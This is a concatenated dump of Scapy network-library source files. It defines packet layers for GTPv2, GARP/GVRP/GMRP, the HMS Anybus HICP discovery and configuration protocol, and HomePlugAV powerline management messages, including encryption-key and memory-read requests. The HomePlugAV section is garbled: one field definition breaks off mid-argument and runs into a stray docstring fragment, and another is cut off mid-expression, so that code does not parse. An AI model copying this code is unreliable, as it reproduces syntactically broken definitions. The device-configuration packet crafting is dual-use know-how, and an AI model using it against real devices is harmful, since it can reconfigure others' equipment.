Acknowledge" class GTPV2CreateIndirectDataForwardingTunnelRequest(GTPV2Command): name = "GTPv2 Create Indirect Data Forwarding Tunnel Request" class GTPV2CreateIndirectDataForwardingTunnelResponse(GTPV2Command): name = "GTPv2 Create Indirect Data Forwarding Tunnel Response" def answers(self, other): return isinstance( other, GTPV2CreateIndirectDataForwardingTunnelRequest ) class GTPV2DeleteIndirectDataForwardingTunnelRequest(GTPV2Command): name = "GTPv2 Delete Indirect Data Forwarding Tunnel Request" class GTPV2DeleteIndirectDataForwardingTunnelResponse(GTPV2Command): name = "GTPv2 Delete Indirect Data Forwarding Tunnel Response" def answers(self, other): return isinstance( other, GTPV2DeleteIndirectDataForwardingTunnelRequest ) class GTPV2ReleaseBearerRequest(GTPV2Command): name = "GTPv2 Release Bearer Request" class GTPV2ReleaseBearerResponse(GTPV2Command): name = "GTPv2 Release Bearer Response" def answers(self, other): return isinstance(other, GTPV2ReleaseBearerRequest) class GTPV2DownlinkDataNotif(GTPV2Command): name = "GTPv2 Download Data Notification" class GTPV2DownlinkDataNotifAck(GTPV2Command): name = "GTPv2 Download Data Notification Acknowledgment" bind_layers(GTPHeader, GTPV2EchoRequest, gtp_type=1, T=0) bind_layers(GTPHeader, GTPV2EchoResponse, gtp_type=2, T=0) bind_layers(GTPHeader, GTPV2CreateSessionRequest, gtp_type=32) bind_layers(GTPHeader, GTPV2CreateSessionResponse, gtp_type=33) bind_layers(GTPHeader, GTPV2ModifyBearerRequest, gtp_type=34) bind_layers(GTPHeader, GTPV2ModifyBearerResponse, gtp_type=35) bind_layers(GTPHeader, GTPV2DeleteSessionRequest, gtp_type=36) bind_layers(GTPHeader, GTPV2DeleteSessionResponse, gtp_type=37) bind_layers(GTPHeader, GTPV2ModifyBearerCommand, gtp_type=64) bind_layers(GTPHeader, GTPV2ModifyBearerFailureIndication, gtp_type=65) bind_layers(GTPHeader, GTPV2DeleteBearerCommand, gtp_type=66) bind_layers(GTPHeader, GTPV2DeleteBearerFailureIndication, gtp_type=67) bind_layers(GTPHeader, GTPV2BearerResourceCommand, gtp_type=68) bind_layers(GTPHeader, GTPV2BearerResourceFailureIndication, gtp_type=69) bind_layers(GTPHeader, GTPV2DownlinkDataNotifFailureIndication, gtp_type=70) bind_layers(GTPHeader, GTPV2CreateBearerRequest, gtp_type=95) bind_layers(GTPHeader, GTPV2CreateBearerResponse, gtp_type=96) bind_layers(GTPHeader, GTPV2UpdateBearerRequest, gtp_type=97) bind_layers(GTPHeader, GTPV2UpdateBearerResponse, gtp_type=98) bind_layers(GTPHeader, GTPV2DeleteBearerRequest, gtp_type=99) bind_layers(GTPHeader, GTPV2DeleteBearerResponse, gtp_type=100) bind_layers(GTPHeader, GTPV2ContextRequest, gtp_type=130) bind_layers(GTPHeader, GTPV2ContextResponse, gtp_type=131) bind_layers(GTPHeader, GTPV2ContextAcknowledge, gtp_type=132) bind_layers(GTPHeader, GTPV2SuspendNotification, gtp_type=162) bind_layers(GTPHeader, GTPV2SuspendAcknowledge, gtp_type=163) bind_layers(GTPHeader, GTPV2ResumeNotification, gtp_type=164) bind_layers(GTPHeader, GTPV2ResumeAcknowledge, gtp_type=165) bind_layers( GTPHeader, GTPV2CreateIndirectDataForwardingTunnelRequest, gtp_type=166) bind_layers( GTPHeader, GTPV2CreateIndirectDataForwardingTunnelResponse, gtp_type=167) bind_layers( GTPHeader, GTPV2DeleteIndirectDataForwardingTunnelRequest, gtp_type=168) bind_layers( GTPHeader, GTPV2DeleteIndirectDataForwardingTunnelResponse, gtp_type=169) bind_layers(GTPHeader, GTPV2ReleaseBearerRequest, gtp_type=170) bind_layers(GTPHeader, GTPV2ReleaseBearerResponse, gtp_type=171) bind_layers(GTPHeader, GTPV2DownlinkDataNotif, gtp_type=176) bind_layers(GTPHeader, GTPV2DownlinkDataNotifAck, gtp_type=177) ================================================ FILE: scapy/contrib/gxrp.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # scapy.contrib.description = Generic Attribute Register Protocol (GARP) # scapy.contrib.status = loads """ GARP - Generic Attribute Register Protocol ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ :author: Sergey Matsievskiy, matsievskiysv@gmail.com :description: This module provides Scapy layers for the GARP protocol and its two applications: GARP VLAN Registration Protocol (GVRP) and GARP Multicast Registration Protocol (GMRP) normative references: - IEEE 802.1D 2004 - Media Access Control (MAC) Bridges - IEEE 802.1Q 1998 - Virtual Bridged Local Area Networks """ from scapy.fields import ( LenField, EnumField, ByteField, PacketListField, ShortField, MACField, ) from scapy.packet import Packet, bind_layers, split_layers from scapy.layers.l2 import LLC, Dot3 from scapy.error import warning class GVRP(Packet): """ GVRP """ name = "GVRP" # IEEE802.1Q-1998 11.2.3.1.3 fields_desc = [ShortField("vlan", 1)] def extract_padding(self, s): return b"", s class GMRP_GROUP(Packet): """ GMRP Group """ name = "GMRP Group" # IEEE802.1D-2004 10.3.1.4 fields_desc = [MACField("addr", None)] def extract_padding(self, s): return b"", s class GMRP_SERVICE(Packet): """ GMRP Service """ name = "GMRP Service" # IEEE802.1D-2004 10.3.1.4 fields_desc = [ EnumField( "event", 0, {0x0: "All Groups", 0x1: "All Unregistered Groups"}, fmt="B", ) ] def extract_padding(self, s): return b"", s class GARP_ATTRIBUTE(Packet): """ GARP attribute container """ name = "GARP Attribute" # IEEE802.1D-2004 12.10.2.4-5 fields_desc = [ LenField("len", None, fmt="B", adjust=lambda l: l + 2), EnumField( "event", 0, { 0x0: "LeaveAll", 0x1: "JoinEmpty", 0x2: "JoinIn", 0x3: "LeaveEmpty", 0x4: "LeaveIn", 0x5: "Empty", }, fmt="B", ), ] def do_dissect(self, s): s = super(GARP_ATTRIBUTE, self).do_dissect(s) if self.len is not None and self.event == 0 and self.len > 2: warning("Non-empty payload at LeaveAll event") return s def extract_padding(self, s): boundary = self.len - 2 return s[:boundary], s[boundary:] def guess_payload_class(self, payload): try: garp_message = self.parent garp = garp_message.parent llc = garp.underlayer dot3 = llc.underlayer if ( dot3.dst == "01:80:c2:00:00:21" ): # IEEE802.1D-2004 12.4 Table 12-1 return GVRP elif ( dot3.dst == "01:80:c2:00:00:20" ): # IEEE802.1D-2004 12.4 Table 12-1 if garp_message.type == 1: # IEEE802.1D-2004 10.3.1.3 return GMRP_GROUP elif garp_message.type == 2: # IEEE802.1D-2004 10.3.1.3 return GMRP_SERVICE except AttributeError: pass return super(GARP_ATTRIBUTE, self).guess_payload_class(payload) def parse_next_attr(pkt, lst, cur, remain): # IEEE802.1D-2004 12.10.2.7 if not remain or len(remain) == 0 or remain[0:1] == b"\x00": return None elif ord(remain[0:1]) >= 2: # minimal attribute size return GARP_ATTRIBUTE else: return None class GARP_MESSAGE(Packet): """ GARP message container """ name = "GARP Message" fields_desc = [ ByteField("type", 0x01), PacketListField("attrs", [], next_cls_cb=parse_next_attr), ByteField("end_mark", 0x0), ] def extract_padding(self, s): return b"", s def parse_next_msg(pkt, lst, cur, remain): # IEEE802.1D-2004 12.10.2.7 if not remain and len(remain) == 0 or remain[0:1] == b"\x00": return None else: return GARP_MESSAGE class GARP(Packet): """ GARP packet """ name = "GARP" fields_desc = [ ShortField("proto_id", 0x0001), # IEEE802.1D-2004 12.10.2.1 PacketListField("msgs", [], next_cls_cb=parse_next_msg), ByteField("end_mark", 0x0), ] # IEEE802.1D-2004 12.10.2.7 class LLC_GARP(LLC): """ Dummy class for layer binding """ payload_guess = [] split_layers(Dot3, LLC) # IEEE802.1D-2004 12.4 Table 12-1 for mac in ["01:80:c2:00:00:20", "01:80:c2:00:00:21", "01:80:c2:00:00:22", "01:80:c2:00:00:23", "01:80:c2:00:00:24", "01:80:c2:00:00:25", "01:80:c2:00:00:26", "01:80:c2:00:00:27", "01:80:c2:00:00:28", "01:80:c2:00:00:29", "01:80:c2:00:00:2a", "01:80:c2:00:00:2b", "01:80:c2:00:00:2c", "01:80:c2:00:00:2d", "01:80:c2:00:00:2e", "01:80:c2:00:00:2f"]: bind_layers(Dot3, LLC_GARP, dst=mac) bind_layers(Dot3, LLC) bind_layers(LLC_GARP, GARP) ================================================ FILE: scapy/contrib/hicp.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2023 - Claire VACHEROT """HICP Support for HICP (Host IP Control Protocol). This protocol is used by HMS Anybus software for device discovery and configuration. Note : As the specification is not public, this layer was built based on the Wireshark dissector and HMS's HICP DLL. It was tested with a Anybus X-gateway device. Therefore, this implementation may differ from what is written in the standard. """ # scapy.contrib.name = HICP # scapy.contrib.description = HMS Anybus Host IP Control Protocol # scapy.contrib.status = loads from re import match from scapy.packet import Packet, bind_layers, bind_bottom_up from scapy.fields import StrField, MACField, IPField, ByteField, RawVal from scapy.layers.inet import UDP # HICP command codes CMD_MODULESCAN = b"Module scan" CMD_MSRESPONSE = b"Module scan response" CMD_CONFIGURE = b"Configure" CMD_RECONFIGURED = b"Reconfigured" CMD_INVALIDCONF = b"Invalid Configuration" CMD_INVALIDPWD = b"Invalid Password" CMD_WINK = b"Wink" # These commands are implemented in the DLL but never seen in use CMD_START = b"Start" CMD_STOP = b"Stop" # Most of the fields have the format "KEY = value" for each field KEYS = { "protocol_version": "Protocol version", "fieldbus_type": "FB type", "module_version": "Module version", "mac_address": "MAC", "new_password": "New password", "password": "PSWD", "ip_address": "IP", "subnet_mask": "SN", "gateway_address": "GW", "dhcp": "DHCP", "hostname": "HN", "dns1": "DNS1", "dns2": "DNS2" } # HICP MAC format is xx-xx-xx-xx-xx-xx (not with :) as str. FROM_MACFIELD = lambda x: x.replace(":", "-") TO_MACFIELD = lambda x: x.replace("-", ":") # Note on building and dissecting: Since the protocol is primarily text-based # but also highly inconsistent in terms of message format, most of the # dissection and building process must be reworked for each message type. class HICPConfigure(Packet): name = "Configure request" fields_desc = [ MACField("target", "ff:ff:ff:ff:ff:ff"), StrField("password", ""), StrField("new_password", ""), IPField("ip_address", "255.255.255.255"), IPField("subnet_mask", "255.255.255.0"), IPField("gateway_address", "0.0.0.0"), StrField("dhcp", "OFF"), # ON or OFF StrField("hostname", ""), IPField("dns1", "0.0.0.0"), IPField("dns2", "0.0.0.0"), ByteField("padding", 0) ] def post_build(self, p, pay): p = ["{0}: {1};".format(CMD_CONFIGURE.decode('utf-8'), FROM_MACFIELD(self.target))] for field in self.fields_desc[1:]: if field.name in KEYS: value = getattr(self, field.name) if isinstance(value, bytes): value = value.decode('utf-8') if field.name in ["password", "new_password"] and not value: continue key = KEYS[field.name] # The key for password is not the same as usual... if field.name == "password": key = "Password" p.append("{0} = {1};".format(key, value)) return "".join(p).encode('utf-8') + b"\x00" + pay def do_dissect(self, s): res = match(".*: ([^;]+);", s.decode('utf-8')) if res: self.target = TO_MACFIELD(res.group(1)) s = s[len(self.target) + 3:] for arg in s.split(b";"): kv = [x.strip().replace(b"\x00", b"") for x in arg.split(b"=")] if len(kv) != 2 or not kv[1]: continue kv[0] = kv[0].decode('utf-8') if kv[0] in KEYS.values(): field = [x for x, y in KEYS.items() if y == kv[0]][0] setattr(self, field, kv[1]) class HICPReconfigured(Packet): name = "Reconfigured" fields_desc = [ MACField("source", "ff:ff:ff:ff:ff:ff") ] def post_build(self, p, pay): p = "{0}: {1}".format(CMD_RECONFIGURED.decode('utf-8'), FROM_MACFIELD(self.source)) return p.encode('utf-8') + b"\x00" + pay def do_dissect(self, s): res = match(r".*: ([a-fA-F0-9\-\:]+)", s.decode('utf-8')) if res: self.source = TO_MACFIELD(res.group(1)) return None class HICPInvalidConfiguration(Packet): name = "Invalid configuration" fields_desc = [ MACField("source", "ff:ff:ff:ff:ff:ff") ] def post_build(self, p, pay): p = "{0}: {1}".format(CMD_INVALIDCONF.decode('utf-8'), FROM_MACFIELD(self.source)) return p.encode('utf-8') + b"\x00" + pay def do_dissect(self, s): res = match(r".*: ([a-fA-F0-9\-\:]+)", s.decode('utf-8')) if res: self.source = TO_MACFIELD(res.group(1)) return None class HICPInvalidPassword(Packet): name = "Invalid password" fields_desc = [ MACField("source", "ff:ff:ff:ff:ff:ff") ] def post_build(self, p, pay): p = "{0}: {1}".format(CMD_INVALIDPWD.decode('utf-8'), FROM_MACFIELD(self.source)) return p.encode('utf-8') + b"\x00" + pay def do_dissect(self, s): res = match(r".*: ([a-fA-F0-9\-\:]+)", s.decode('utf-8')) if res: self.source = TO_MACFIELD(res.group(1)) return None class HICPWink(Packet): name = "Wink" fields_desc = [ MACField("target", "ff:ff:ff:ff:ff:ff"), ByteField("padding", 0) ] def post_build(self, p, pay): p = "To: {0};{1};".format(FROM_MACFIELD(self.target), CMD_WINK.decode('utf-8').upper()) return p.encode('utf-8') + b"\x00" + pay def do_dissect(self, s): res = match("^To: ([^;]+);", s.decode('utf-8')) if res: self.target = TO_MACFIELD(res.group(1)) class HICPModuleScanResponse(Packet): name = "Module scan response" fields_desc = [ StrField("protocol_version", "1.00"), StrField("fieldbus_type", ""), StrField("module_version", ""), MACField("mac_address", "ff:ff:ff:ff:ff:ff"), IPField("ip_address", "255.255.255.255"), IPField("subnet_mask", "255.255.255.0"), IPField("gateway_address", "0.0.0.0"), StrField("dhcp", "OFF"), # ON or OFF StrField("password", "OFF"), # ON or OFF StrField("hostname", ""), IPField("dns1", "0.0.0.0"), IPField("dns2", "0.0.0.0"), ByteField("padding", 0) ] def post_build(self, p, pay): p = [] for field in self.fields_desc: if field.name in KEYS: value = getattr(self, field.name) if isinstance(value, bytes): value = value.decode('utf-8') p.append("{0} = {1};".format(KEYS[field.name], value)) return "".join(p).encode('utf-8') + b"\x00" + pay def do_dissect(self, s): for arg in s.split(b";"): kv = [x.strip().replace(b"\x00", b"") for x in arg.split(b"=")] if len(kv) != 2 or not kv[1]: continue kv[0] = kv[0].decode('utf-8') if kv[0] in KEYS.values(): field = [x for x, y in KEYS.items() if y == kv[0]][0] if field == "mac_address": kv[1] = TO_MACFIELD(kv[1].decode('utf-8')) setattr(self, field, kv[1]) class HICPModuleScan(Packet): name = "Module scan request" fields_desc = [ StrField("hicp_command", CMD_MODULESCAN), ByteField("padding", 0) ] def do_dissect(self, s): if len(s) > len(CMD_MODULESCAN): self.hicp_command = s[:len(CMD_MODULESCAN)] self.padding = s[len(CMD_MODULESCAN):] else: self.padding = RawVal(s) def post_build(self, p, pay): return p.upper() + pay class HICP(Packet): name = "HICP" fields_desc = [ StrField("hicp_command", "") ] def do_dissect(self, s): for cmd in [CMD_MODULESCAN, CMD_CONFIGURE, CMD_RECONFIGURED, CMD_INVALIDCONF, CMD_INVALIDPWD]: if s[:len(cmd)] == cmd: self.hicp_command = cmd return s[len(cmd):] if s[:len("To:")] == b"To:": self.hicp_command = CMD_WINK else: self.hicp_command = CMD_MSRESPONSE return s def post_build(self, p, pay): p = p[len(self.hicp_command):] return p + pay bind_bottom_up(UDP, HICP, dport=3250) bind_bottom_up(UDP, HICP, sport=3250) bind_layers(UDP, HICP, sport=3250, dport=3250) bind_layers(HICP, HICPModuleScan, hicp_command=CMD_MODULESCAN) bind_layers(HICP, HICPModuleScanResponse, hicp_command=CMD_MSRESPONSE) bind_layers(HICP, HICPWink, hicp_command=CMD_WINK) bind_layers(HICP, HICPConfigure, hicp_command=CMD_CONFIGURE) bind_layers(HICP, HICPReconfigured, hicp_command=CMD_RECONFIGURED) bind_layers(HICP, HICPInvalidConfiguration, hicp_command=CMD_INVALIDCONF) bind_layers(HICP, HICPInvalidPassword, hicp_command=CMD_INVALIDPWD) ================================================ FILE: scapy/contrib/homeplugav.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # scapy.contrib.description = HomePlugAV Layer # scapy.contrib.status = loads """ HomePlugAV Layer for Scapy Copyright (C) FlUxIuS (Sebastien Dudek) HomePlugAV Management Message Type Key (type value) : Description """ import struct from scapy.packet import Packet, bind_layers from scapy.fields import ( BitField, ByteEnumField, ByteField, ConditionalField, EnumField, FieldLenField, IntField, LEIntField, LELongField, LEShortEnumField, LEShortField, MACField, OUIField, PacketListField, ShortField, StrFixedLenField, StrLenField, X3BytesField, XByteField, XIntField, XLongField, XShortField, ) from scapy.layers.l2 import Ether HPAVTypeList = {0xA000: "'Get Device/sw version Request'", 0xA001: "'Get Device/sw version Confirmation'", 0xA008: "'Read MAC Memory Request'", 0xA009: "'Read MAC Memory Confirmation'", 0xA00C: "'Start MAC Request'", 0xA00D: "'Start MAC Confirmation'", 0xA010: "'Get NVM Parameters Request'", 0xA011: "'Get NVM Parameters Confirmation'", 0xA01C: "'Reset Device Request'", 0xA01D: "'Reset Device Confirmation'", 0xA020: "'Write Module Data Request'", 0xA024: "'Read Module Data Request'", 0xA025: "'Read Module Data Confirmation'", 0xA028: "'Write Module Data to NVM Request'", 0xA029: "'Write Module Data to NVM Confirmation'", 0xA034: "'Sniffer Request'", 0xA035: "'Sniffer Confirmation'", 0xA036: "'Sniffer Indicates'", 0xA038: "'Network Information Request'", 0xA039: "'Network Information Confirmation'", 0xA048: "'Loopback Request'", 0xA049: "'Loopback Request Confirmation'", 0xA050: "'Set Encryption Key Request'", 0xA051: "'Set Encryption Key Request Confirmation'", 0xA058: "'Read Configuration Block Request'", 0xA059: "'Read Configuration Block Confirmation'", 0xA062: "'Embedded Host Action Required Indication'"} HPAVversionList = {0x00: "1.0", 0x01: "1.1"} HPAVDeviceIDList = {0x00: "Unknown", 0x01: "'INT6000'", 0x02: "'INT6300'", 0x03: "'INT6400'", 0x04: "'AR7400'", 0x05: "'AR6405'", 0x20: "'QCA7450/QCA7420'", 0x21: "'QCA6410/QCA6411'", 0x22: "'QCA7000'"} StationRole = {0x00: "'Station'", 0x01: "'Proxy coordinator'", 0x02: "'Central coordinator'"} StatusCodes = {0x00: "'Success'", 0x10: "'Invalid Address'", 0x14: "'Invalid Length'"} DefaultVendor = "Qualcomm" ######################################################################### # Qualcomm Vendor Specific Management Message Types; # # from https://github.com/qca/open-plc-utils/blob/master/mme/qualcomm.h # ######################################################################### # Commented commands are already in HPAVTypeList, the other have to be implemented # noqa: E501 QualcommTypeList = { # 0xA000 : "VS_SW_VER", 0xA004: "VS_WR_MEM", # 0xA008 : "VS_RD_MEM", # 0xA00C : "VS_ST_MAC", # 0xA010 : "VS_GET_NVM", 0xA014: "VS_RSVD_1", 0xA018: "VS_RSVD_2", # 0xA01C : "VS_RS_DEV", # 0xA020 : "VS_WR_MOD", # 0xA024 : "VS_RD_MOD", # 0xA028 : "VS_MOD_NVM", 0xA02C: "VS_WD_RPT", 0xA030: "VS_LNK_STATS", # 0xA034 : "VS_SNIFFER", # 0xA038 : "VS_NW_INFO", 0xA03C: "VS_RSVD_3", 0xA040: "VS_CP_RPT", 0xA044: "VS_ARPC", # 0xA050 : "VS_SET_KEY", 0xA054: "VS_MFG_STRING", # 0xA058 : "VS_RD_CBLOCK", 0xA05C: "VS_SET_SDRAM", 0xA060: "VS_HOST_ACTION", 0xA068: "VS_OP_ATTRIBUTES", 0xA06C: "VS_ENET_SETTINGS", 0xA070: "VS_TONE_MAP_CHAR", 0xA074: "VS_NW_INFO_STATS", 0xA078: "VS_SLAVE_MEM", 0xA07C: "VS_FAC_DEFAULTS", 0xA07D: "VS_FAC_DEFAULTS_CONFIRM", 0xA084: "VS_MULTICAST_INFO", 0xA088: "VS_CLASSIFICATION", 0xA090: "VS_RX_TONE_MAP_CHAR", 0xA094: "VS_SET_LED_BEHAVIOR", 0xA098: "VS_WRITE_AND_EXECUTE_APPLET", 0xA09C: "VS_MDIO_COMMAND", 0xA0A0: "VS_SLAVE_REG", 0xA0A4: "VS_BANDWIDTH_LIMITING", 0xA0A8: "VS_SNID_OPERATION", 0xA0AC: "VS_NN_MITIGATE", 0xA0B0: "VS_MODULE_OPERATION", 0xA0B4: "VS_DIAG_NETWORK_PROBE", 0xA0B8: "VS_PL_LINK_STATUS", 0xA0BC: "VS_GPIO_STATE_CHANGE", 0xA0C0: "VS_CONN_ADD", 0xA0C4: "VS_CONN_MOD", 0xA0C8: "VS_CONN_REL", 0xA0CC: "VS_CONN_INFO", 0xA0D0: "VS_MULTIPORT_LNK_STA", 0xA0DC: "VS_EM_ID_TABLE", 0xA0E0: "VS_STANDBY", 0xA0E4: "VS_SLEEPSCHEDULE", 0xA0E8: "VS_SLEEPSCHEDULE_NOTIFICATION", 0xA0F0: "VS_MICROCONTROLLER_DIAG", 0xA0F8: "VS_GET_PROPERTY", 0xA100: "VS_SET_PROPERTY", 0xA104: "VS_PHYSWITCH_MDIO", 0xA10C: "VS_SELFTEST_ONETIME_CONFIG", 0xA110: "VS_SELFTEST_RESULTS", 0xA114: "VS_MDU_TRAFFIC_STATS", 0xA118: "VS_FORWARD_CONFIG", 0xA200: "VS_HYBRID_INFO"} # END OF Qualcomm commands # EofPadList = [0xA000, 0xA038] # TODO: The complete list of Padding can help to improve the condition in VendorMME Class # noqa: E501 def FragmentCond(pkt): """ A fragmentation field condition TODO: To complete """ return pkt.version == 0x01 class MACManagementHeader(Packet): name = "MACManagementHeader " if DefaultVendor == "Qualcomm": HPAVTypeList.update(QualcommTypeList) fields_desc = [ByteEnumField("version", 0, HPAVversionList), EnumField("HPtype", 0xA000, HPAVTypeList, " have fun! """ name = "NetworkInfoConfirmation" fields_desc = [StrFixedLenField("reserved_n1", b"\x00\x00\x3a\x00\x00", 5), XByteField("LogicalNetworksNumber", 0x01), PacketListField("NetworksInfos", "", NetworkInfoV11, length_from=lambda pkt: pkt.LogicalNetworksNumber * 26), # noqa: E501 XByteField("StationsNumber", 0x01), StrFixedLenField("reserverd_s1", b"\x00\x00\x00\x00\x00", 5), # noqa: E501 PacketListField("StationsInfos", "", StationInfoV11, length_from=lambda pkt: pkt.StationsNumber * 23)] # noqa: E501 # Description of Embedded Host Action Required Indice ActionsList = {0x02: "'PIB Update Ready'", 0x04: "'Loader (Bootloader)'"} class HostActionRequired(Packet): """ Embedded Host Action Required Indice """ name = "HostActionRequired" fields_desc = [ByteEnumField("ActionRequired", 0x02, ActionsList)] class LoopbackRequest(Packet): name = "LoopbackRequest" fields_desc = [ByteField("Duration", 0x01), ByteField("reserved_l1", 0x01), ShortField("LRlength", 0x0000)] # TODO: Test all possibles data to complete it class LoopbackConfirmation(Packet): name = "LoopbackConfirmation" fields_desc = [ByteEnumField("Status", 0x0, StatusCodes), ByteField("Duration", 0x01), ShortField("LRlength", 0x0000)] ################################################################ # Encryption Key Packets ################################################################ class SetEncryptionKeyRequest(Packet): name = "SetEncryptionKeyRequest" fields_desc = [XByteField("EKS", 0x00), StrFixedLenField("NMK", b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # noqa: E501 16), XByteField("PayloadEncKeySelect", 0x00), MACField("DestinationMAC", "ff:ff:ff:ff:ff:ff"), StrFixedLenField("DAK", b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # noqa: E501 16)] SetEncKey_Status = {0x00: "Success", 0x10: "Invalid EKS", 0x11: "Invalid PKS"} class SetEncryptionKeyConfirmation(Packet): name = "SetEncryptionKeyConfirmation" fields_desc = [ByteEnumField("Status", 0x0, SetEncKey_Status)] ################################################################ # Default config Packet ################################################################ class QUAResetFactoryConfirm(Packet): name = "QUAResetFactoryConfirm" fields_desc = [ByteEnumField("Status", 0x0, StatusCodes)] # TODO : Probably a Status bytefield? # noqa: E501 ###################################################################### # NVM Parameters Packets ###################################################################### class GetNVMParametersRequest(Packet): name = "Get NVM Parameters Request" fields_desc = [] class GetNVMParametersConfirmation(Packet): name = "Get NVM Parameters Confirmation" fields_desc = [ByteEnumField("Status", 0x0, StatusCodes), LEIntField("NVMType", 0x00000013), LEIntField("NVMPageSize", 0x00000100), LEIntField("NVMBlockSize", 0x00010000), LEIntField("NVMMemorySize", 0x00100000)] ###################################################################### # Sniffer Packets ###################################################################### SnifferControlList = {0x0: "'Disabled'", 0x1: "'Enabled'"} SnifferTypeCodes = {0x00: "'Regular'"} class SnifferRequest(Packet): name = "SnifferRequest" fields_desc = [ByteEnumField("SnifferControl", 0x0, SnifferControlList)] SnifferCodes = {0x00: "'Success'", 0x10: "'Invalid Control'"} class SnifferConfirmation(Packet): name = "SnifferConfirmation" fields_desc = [ByteEnumField("Status", 0x0, StatusCodes)] DirectionCodes = {0x00: "'Tx'", 0x01: "'Rx'"} ANCodes = {0x00: "'In-home'", 0x01: "'Access'"} class SnifferIndicate(Packet): # TODO: Some bitfield have been regrouped for the moment => need more work on it # noqa: E501 name = "SnifferIndicate" fields_desc = [ByteEnumField("SnifferType", 0x0, SnifferTypeCodes), ByteEnumField("Direction", 0x0, DirectionCodes), LELongField("SystemTime", 0x0), LEIntField("BeaconTime", 0x0), XByteField("ShortNetworkID", 0x0), ByteField("SourceTermEqID", 0), ByteField("DestTermEqID", 0), ByteField("LinkID", 0), XByteField("PayloadEncrKeySelect", 0x0f), ByteField("PendingPHYblock", 0), ByteField("BitLoadingEstim", 0), BitField("ToneMapIndex", 0, size=5), BitField("NumberofSymbols", 0, size=2), BitField("PHYblockSize", 0, size=1), XShortField("FrameLength", 0x0000), XByteField("ReversegrandLength", 0x0), BitField("RequestSACKtrans", 0, size=1), BitField("DataMACstreamCMD", 0, size=3), BitField("ManNACFrameStreamCMD", 0, size=3), BitField("reserved_1", 0, size=6), BitField("MultinetBroadcast", 0, size=1), BitField("DifferentCPPHYclock", 0, size=1), BitField("Multicast", 0, size=1), X3BytesField("FrameControlCheckSeq", 0x000000), XByteField("ShortNetworkID_", 0x0), IntField("BeaconTimestamp", 0), XShortField("BeaconTransOffset_0", 0x0000), XShortField("BeaconTransOffset_1", 0x0000), XShortField("BeaconTransOffset_2", 0x0000), XShortField("BeaconTransOffset_3", 0x0000), X3BytesField("FrameContrchkSeq", 0x000000)] ###################################################################### # Read MAC Memory ##################################################################### class ReadMACMemoryRequest(Packet): name = "ReadMACMemoryRequest" fields_desc = [LEIntField("Address", 0x00000000), LEIntField("Length", 0x00000400), ] ReadMACStatus = {0x00: "Success", 0x10: "Invalid Address", 0x14: "Invalid Length"} class ReadMACMemoryConfirmation(Packet): name = "ReadMACMemoryConfirmation" fields_desc = [ByteEnumField("Status", 0x00, ReadMACStatus), LEIntField("Address", 0), FieldLenField("MACLen", None, length_of="MACData", fmt="= pkt.__offset and 0x2 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XShortField("reserved_1", 0x0000), lambda pkt:(0x2 >= pkt.__offset and 0x4 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XShortField("PIBLength", 0x0000), lambda pkt:(0x4 >= pkt.__offset and 0x6 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XShortField("reserved_2", 0x0000), lambda pkt:(0x6 >= pkt.__offset and 0x8 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(LEIntField("checksumPIB", None), lambda pkt:(0x8 >= pkt.__offset and 0xC <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(MACField("PIBMACAddr", "00:00:00:00:00:00"), lambda pkt:(0xC >= pkt.__offset and 0x12 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(StrFixedLenField("DAK", b"\x00" * 16, 16), lambda pkt:(0x12 >= pkt.__offset and 0x22 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XShortField("reserved_3", 0x0000), lambda pkt:(0x22 >= pkt.__offset and 0x24 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(StrFixedLenField("ManufactorID", b"\x00" * 64, 64), lambda pkt:(0x24 >= pkt.__offset and 0x64 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(StrFixedLenField("NMK", b"\x00" * 16, 16), lambda pkt:(0x64 >= pkt.__offset and 0x74 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(StrFixedLenField("UserID", b"\x00" * 64, 64), lambda pkt:(0x74 >= pkt.__offset and 0xB4 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(StrFixedLenField("AVLN_ID", b"\x00" * 64, 64), lambda pkt:(0xB4 >= pkt.__offset and 0xF4 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("CCoSelection", 0x00), lambda pkt:(0xF4 >= pkt.__offset and 0xF5 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("CoExistSelection", 0x00), lambda pkt:(0xF5 >= pkt.__offset and 0xF6 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("PLFreqSelection", 0x00), lambda pkt:(0xF6 >= pkt.__offset and 0xF7 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("H3CDowngradeShld", 0x00), lambda pkt:(0xF7 >= pkt.__offset and 0xF8 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(StrFixedLenField("PreferredNID", b"\x00" * 7, 7), lambda pkt:(0xF8 >= pkt.__offset and 0xFF <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("AutoFWUpgradeable", 0x00), lambda pkt:(0xFF >= pkt.__offset and 0x100 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("MDUConfiguration", 0x00), lambda pkt:(0x100 >= pkt.__offset and 0x101 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("MDURole", 0x00), lambda pkt:(0x101 >= pkt.__offset and 0x102 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("SnifferEnabled", 0x00), lambda pkt:(0x102 >= pkt.__offset and 0x103 <= pkt.__offset + pkt.__length)), # noqa: E501 